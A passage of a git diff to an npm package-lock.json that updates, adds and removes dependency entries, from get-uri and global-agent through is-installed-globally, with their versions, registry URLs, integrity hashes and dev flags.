"sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "dev": true, "requires": { "pump": "^3.0.0" } }, - "get-uri": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-2.0.4.tgz", - "integrity": "sha512-v7LT/s8kVjs+Tx0ykk1I+H/rbpzkHvuIq87LmeXptcf5sNWm9uQiwjNAt94SJPA1zOlCntmnOlJvVWKmzsxG8Q==", - "requires": { - "data-uri-to-buffer": "1", - "debug": "2", - "extend": "~3.0.2", - "file-uri-to-path": "1", - "ftp": "~0.3.10", - "readable-stream": "2" - } - }, "get-value": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", @@ -6388,6 +9286,7 @@ "version": "7.1.6", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, "requires": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", @@ -6427,12 +9326,54 @@ "process": "^0.11.10" } }, - "global-dirs": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-2.0.1.tgz", - "integrity": "sha512-5HqUqdhkEovj2Of/ms3IeS/EekcO54ytHRLV4PEY2rhRwrHXLQjeVEES0Lhka0xwNDtGYn58wyC4s5+MHsOO6A==", + "global-agent": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-2.2.0.tgz", + "integrity": "sha512-+20KpaW6DDLqhG7JDiJpD1JvNvb8ts+TNl7BPOYcURqCrXqnN1Vf+XVOrkKJAFPqfX+oEhsdzOj1hLWkBTdNJg==", + "dev": true, "requires": { - "ini": "^1.3.5" + "boolean": "^3.0.1", + "core-js": "^3.6.5", + "es6-error": "^4.1.1", + "matcher": "^3.0.0", + "roarr": "^2.15.3", + "semver": "^7.3.2", + "serialize-error": "^7.0.1" + }, + "dependencies": { + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, + "global-dirs": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-2.1.0.tgz", + "integrity": "sha512-MG6kdOUh/xBnyo9cJFeIKkLEc1AyFq42QTU4XiX51i2NEdxLxLWXIjEjmqKeSuKR7pAZjTqUVoT2b2huxVLgYQ==", + "dev": true, + "requires": { + "ini": "1.3.7" } }, "global-modules": { @@ -6461,10 +9402,19 @@ "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", "dev": true }, + "globalthis": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.2.tgz", + "integrity": "sha512-ZQnSFO1la8P7auIOQECnm0sSuoMeaSq0EEdXMBFF2QJO4uNcwbyhSgG3MruWNbFTqCLmxVwGOl7LZ9kASvHdeQ==", + "dev": true, + "requires": { + "define-properties": "^1.1.3" + } + }, "globby": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.0.tgz", - "integrity": "sha512-iuehFnR3xu5wBBtm4xi0dMe92Ob87ufyu/dHwpDYfbcpYpIbrO5OnS8M1vWvrBhSGEJ3/Ecj7gnX76P8YxpPEg==", + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.3.tgz", + "integrity": "sha512-ffdmosjA807y7+lA1NM0jELARVmYul/715xiILEjo3hBLPTcirgQNnXECn5g3mtR8TOLCVbkfua1Hpen25/Xcg==", "dev": true, "requires": { "array-union": "^2.1.0", @@ -6476,9 +9426,9 @@ }, "dependencies": { "ignore": { - "version": "5.1.4", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.4.tgz", - "integrity": "sha512-MzbUSahkTW1u7JpKKjY7LCARd1fU5W2rLdxlM4kdkayuCwZImjkpluF9CM1aLewYJguPDqewLam18Y6AU69A8A==", + "version": "5.1.8", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", + "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", "dev": true }, "slash": { @@ -6516,18 +9466,19 @@ } }, "got": { - "version": "11.6.0", - "resolved": "https://registry.npmjs.org/got/-/got-11.6.0.tgz", - "integrity": "sha512-ErhWb4IUjQzJ3vGs3+RR12NWlBDDkRciFpAkQ1LPUxi6OnwhGj07gQxjPsyIk69s7qMihwKrKquV6VQq7JNYLA==", + "version": "11.4.0", + "resolved": "https://registry.npmjs.org/got/-/got-11.4.0.tgz", + "integrity": "sha512-XysJZuZNVpaQ37Oo2LV90MIkPeYITehyy1A0QzO1JwOXm8EWuEf9eeGk2XuHePvLEGnm9AVOI37bHwD6KYyBtg==", + "dev": true, "requires": { - "@sindresorhus/is": "^3.1.1", + "@sindresorhus/is": "^2.1.1", "@szmarczak/http-timer": "^4.0.5", "@types/cacheable-request": "^6.0.1", "@types/responselike": "^1.0.0", "cacheable-lookup": "^5.0.3", "cacheable-request": "^7.0.1", "decompress-response": "^6.0.0", - "http2-wrapper": "^1.0.0-beta.5.2", + "http2-wrapper": "^1.0.0-beta.4.5", "lowercase-keys": "^2.0.0", "p-cancelable": "^2.0.0", "responselike": "^2.0.0" @@ -6536,17 +9487,20 @@ "graceful-fs": { "version": "4.2.4", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", - "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==" + "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", + "dev": true }, "grapheme-splitter": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", - "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==" + "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", + "dev": true }, "gunzip-maybe": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/gunzip-maybe/-/gunzip-maybe-1.4.2.tgz", "integrity": "sha512-4haO1M4mLO91PW57BMsDFf75UmwoRX0GkdD+Faw+Lr+r/OZrOCS0pIBwOL1xCKQqnQzbNFGgK2V2CpBUPeFNTw==", + "dev": true, "requires": { "browserify-zlib": "^0.1.4", "is-deflate": "^1.0.0", @@ -6554,21 +9508,6 @@ "peek-stream": "^1.1.0", "pumpify": "^1.3.3", "through2": "^2.0.3" - }, - "dependencies": { - "browserify-zlib": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.1.4.tgz", - "integrity": "sha1-uzX4pRn2AOD6a4SFJByXnQFB+y0=", - "requires": { - "pako": "~0.2.0" - } - }, - "pako": { - "version": "0.2.9", - "resolved": "https://registry.npmjs.org/pako/-/pako-0.2.9.tgz", - "integrity": "sha1-8/dSL073gjSNqBYbrZ7P1Rv4OnU=" - } } }, "handle-thing": { @@ -6603,6 +9542,7 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, "requires": { "function-bind": "^1.1.1" } @@ -6616,6 +9556,12 @@ "ansi-regex": "^2.0.0" } }, + "has-bigints": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.1.tgz", + "integrity": "sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==", + "dev": true + }, "has-flag": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", @@ -6624,7 +9570,8 @@ "has-symbols": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.1.tgz", - "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==" + "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==", + "dev": true }, "has-unicode": { "version": "2.0.1", @@ -6667,7 +9614,8 @@ "has-yarn": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/has-yarn/-/has-yarn-2.1.0.tgz", - "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==" + "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==", + "dev": true }, "hash-base": { "version": "3.1.0", @@ -6709,6 +9657,34 @@ "minimalistic-assert": "^1.0.1" } }, + "hcl-to-json": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/hcl-to-json/-/hcl-to-json-0.1.1.tgz", + "integrity": "sha512-sj1RPsdgX/ilBGZGnyjbSHQbRe20hyA6VDXYBGJedHSCdwSWkr/7tr85N7FGeM7KvBjIQX7Gl897bo0Ug73Z/A==", + "dev": true, + "requires": { + "debug": "^3.0.1", + "lodash.get": "^4.4.2", + "lodash.set": "^4.3.2" + }, + "dependencies": { + "debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "requires": { + "ms": "^2.1.1" + } + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + } + } + }, "he": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", @@ -6759,7 +9735,8 @@ "hosted-git-info": { "version": "2.8.8", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.8.tgz", - "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==" + "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==", + "dev": true }, "hpack.js": { "version": "2.1.6", @@ -6904,7 +9881,8 @@ "http-cache-semantics": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", - "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" + "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==", + "dev": true }, "http-deceiver": { "version": "1.2.7", @@ -6916,6 +9894,7 @@ "version": "1.7.2", "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "dev": true, "requires": { "depd": "~1.1.2", "inherits": "2.0.3", @@ -6927,7 +9906,8 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true } } }, @@ -6942,25 +9922,6 @@ "requires-port": "^1.0.0" } }, - "http-proxy-agent": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-2.1.0.tgz", - "integrity": "sha512-qwHbBLV7WviBl0rQsOzH6o5lwyOIvwp/BdFnvVxXORldu5TmjFfjzBcWUWS5kWAZhmv+JtiDhSuQCp4sBfbIgg==", - "requires": { - "agent-base": "4", - "debug": "3.1.0" - }, - "dependencies": { - "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", - "requires": { - "ms": "2.0.0" - } - } - } - }, "http-proxy-middleware": { "version": "0.19.1", "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz", @@ -6985,19 +9946,13 @@ } }, "http2-wrapper": { - "version": "1.0.0-beta.5.2", - "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.0-beta.5.2.tgz", - "integrity": "sha512-xYz9goEyBnC8XwXDTuC/MZ6t+MrKVQZOk4s7+PaDkwIsQd8IwqvM+0M6bA/2lvG8GHXcPdf+MejTUeO2LCPCeQ==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "dev": true, "requires": { "quick-lru": "^5.1.1", "resolve-alpn": "^1.0.0" - }, - "dependencies": { - "quick-lru": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", - "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==" - } } }, "https-browserify": { @@ -7006,30 +9961,6 @@ "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", "dev": true }, - "https-proxy-agent": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-3.0.1.tgz", - "integrity": "sha512-+ML2Rbh6DAuee7d07tYGEKOEi2voWPUGan+ExdPbPW6Z3svq+JCqr0v8WmKPOkz1vOVykPCBSuobe7G8GJUtVg==", - "requires": { - "agent-base": "^4.3.0", - "debug": "^3.1.0" - }, - "dependencies": { - "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", - "requires": { - "ms": "^2.1.1" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - } - } - }, "iconv-lite": { "version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", @@ -7067,7 +9998,8 @@ "immediate": { "version": "3.0.6", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", - "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=" + "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=", + "dev": true }, "import-fresh": { "version": "3.2.1", @@ -7079,9 +10011,9 @@ } }, "import-lazy": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz", - "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz", + "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=", "dev": true }, "import-local": { @@ -7097,7 +10029,8 @@ "imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=" + "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", + "dev": true }, "in-publish": { "version": "2.0.1", @@ -7130,6 +10063,7 @@ "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", + "dev": true, "requires": { "once": "^1.3.0", "wrappy": "1" @@ -7138,12 +10072,14 @@ "inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true }, "ini": { - "version": "1.3.5", - "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz", - "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw==" + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.7.tgz", + "integrity": "sha512-iKpRpXP+CrP2jyrxvg1kMUpXDyRUFDWurxbnVT1vQPx+Wz9uCYsMIqYuSBLV+PAaZG/d7kRLKRFc9oDMsH+mFQ==", + "dev": true }, "inquirer": { "version": "7.1.0", @@ -7267,20 +10203,20 @@ } }, "internal-slot": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.2.tgz", - "integrity": "sha512-2cQNfwhAfJIkU4KZPkDI+Gj5yNNnbqi40W9Gge6dfnk4TocEVm00B3bdiL+JINrbGJil2TeHvM4rETGzk/f/0g==", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz", + "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==", "dev": true, "requires": { - "es-abstract": "^1.17.0-next.1", + "get-intrinsic": "^1.1.0", "has": "^1.0.3", - "side-channel": "^1.0.2" + "side-channel": "^1.0.4" } }, "interpret": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.2.0.tgz", - "integrity": "sha512-mT34yGKMNceBQUoVn7iCDKDntA7SC6gycMAWzGx1z/CMCTV7b2AAtXlo3nRyHZ1FelRkQbQjprHSYGwzLtkVbw==", + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", + "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==", "dev": true }, "invariant": { @@ -7291,16 +10227,11 @@ "loose-envify": "^1.0.0" } }, - "invert-kv": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz", - "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==", - "dev": true - }, "ip": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz", - "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=" + "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=", + "dev": true }, "ip-regex": { "version": "2.1.0", @@ -7317,7 +10248,8 @@ "is": { "version": "3.3.0", "resolved": "https://registry.npmjs.org/is/-/is-3.3.0.tgz", - "integrity": "sha512-nW24QBoPcFGGHJGUwnfpI7Yc5CdqWNdsyHQszVE/z2pKHXzh7FZ5GWhJqSyaQ9wMkQnsTx+kAI8bHlCX4tKdbg==" + "integrity": "sha512-nW24QBoPcFGGHJGUwnfpI7Yc5CdqWNdsyHQszVE/z2pKHXzh7FZ5GWhJqSyaQ9wMkQnsTx+kAI8bHlCX4tKdbg==", + "dev": true }, "is-absolute-url": { "version": "3.0.3", @@ -7351,12 +10283,6 @@ "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==", "dev": true }, - "is-alphanumeric": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-alphanumeric/-/is-alphanumeric-1.0.0.tgz", - "integrity": "sha1-Spzvcdr0wAHB2B1j0UDPU/1oifQ=", - "dev": true - }, "is-alphanumerical": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz", @@ -7378,6 +10304,12 @@ "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" }, + "is-bigint": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.1.tgz", + "integrity": "sha512-J0ELF4yHFxHy0cmSxZuheDOz2luOdVvqjwmEcj8H/L1JHeuEDSDbeRP+Dk9kFVk5RTFzbucJ2Kb9F7ixY2QaCg==", + "dev": true + }, "is-binary-path": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", @@ -7387,6 +10319,15 @@ "binary-extensions": "^1.0.0" } }, + "is-boolean-object": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.0.tgz", + "integrity": "sha512-a7Uprx8UtD+HWdyYwnD1+ExtTgqQtD2k/1yJgtXP6wnMm8byhkoTZRl+95LLThpzNZJ5aEvi46cdH+ayMFRwmA==", + "dev": true, + "requires": { + "call-bind": "^1.0.0" + } + }, "is-buffer": { "version": "1.1.6", "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", @@ -7396,16 +10337,27 @@ "is-callable": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.5.tgz", - "integrity": "sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q==" + "integrity": "sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q==", + "dev": true }, "is-ci": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz", "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==", + "dev": true, "requires": { "ci-info": "^2.0.0" } }, + "is-core-module": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.2.0.tgz", + "integrity": "sha512-XRAfAdyyY5F5cOXn7hYQDqh2Xmii+DEfIcQGxK/uNwMHhIkPWO0g8msXcbzLe+MpGoR951MlqM/2iIlU4vKDdQ==", + "dev": true, + "requires": { + "has": "^1.0.3" + } + }, "is-data-descriptor": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", @@ -7441,7 +10393,8 @@ "is-deflate": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-deflate/-/is-deflate-1.0.0.tgz", - "integrity": "sha1-yGKQHDwWH7CdrHzcfnhPgOmPLxQ=" + "integrity": "sha1-yGKQHDwWH7CdrHzcfnhPgOmPLxQ=", + "dev": true }, "is-descriptor": { "version": "0.1.6", @@ -7463,9 +10416,10 @@ } }, "is-docker": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.1.1.tgz", - "integrity": "sha512-ZOoqiXfEwtGknTiuDEy8pN2CfE3TxMHprvNer1mXiqwkOT77Rw3YVrUQ52EqAOU3QAWDQ+bQdx7HJzrv7LS2Hw==" + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "dev": true }, "is-extendable": { "version": "0.1.1", @@ -7476,7 +10430,8 @@ "is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=" + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true }, "is-finite": { "version": "1.1.0", @@ -7488,6 +10443,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "dev": true, "requires": { "number-is-nan": "^1.0.0" } @@ -7496,6 +10452,7 @@ "version": "4.0.1", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "dev": true, "requires": { "is-extglob": "^2.1.1" } @@ -7503,7 +10460,8 @@ "is-gzip": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-gzip/-/is-gzip-1.0.0.tgz", - "integrity": "sha1-bKiwe5nHeZgCWQDlVc7Y7YCHmoM=" + "integrity": "sha1-bKiwe5nHeZgCWQDlVc7Y7YCHmoM=", + "dev": true }, "is-hexadecimal": { "version": "1.0.4", @@ -7515,22 +10473,37 @@ "version": "0.3.2", "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.3.2.tgz", "integrity": "sha512-wZ8x1js7Ia0kecP/CHM/3ABkAmujX7WPvQk6uu3Fly/Mk44pySulQpnHG46OMjHGXApINnV4QhY3SWnECO2z5g==", + "dev": true, "requires": { "global-dirs": "^2.0.1", "is-path-inside": "^3.0.1" }, "dependencies": { "is-path-inside": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.2.tgz", - "integrity": "sha512-/2UGPSgmtqwo1ktx8NDHjuPwZWmHhO+gj0f93EkhLB5RgW9RZevWYYlIkS6zePc6U2WpOdQYIwHe9YC4DWEBVg==" + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true } } }, + "is-interactive": { + 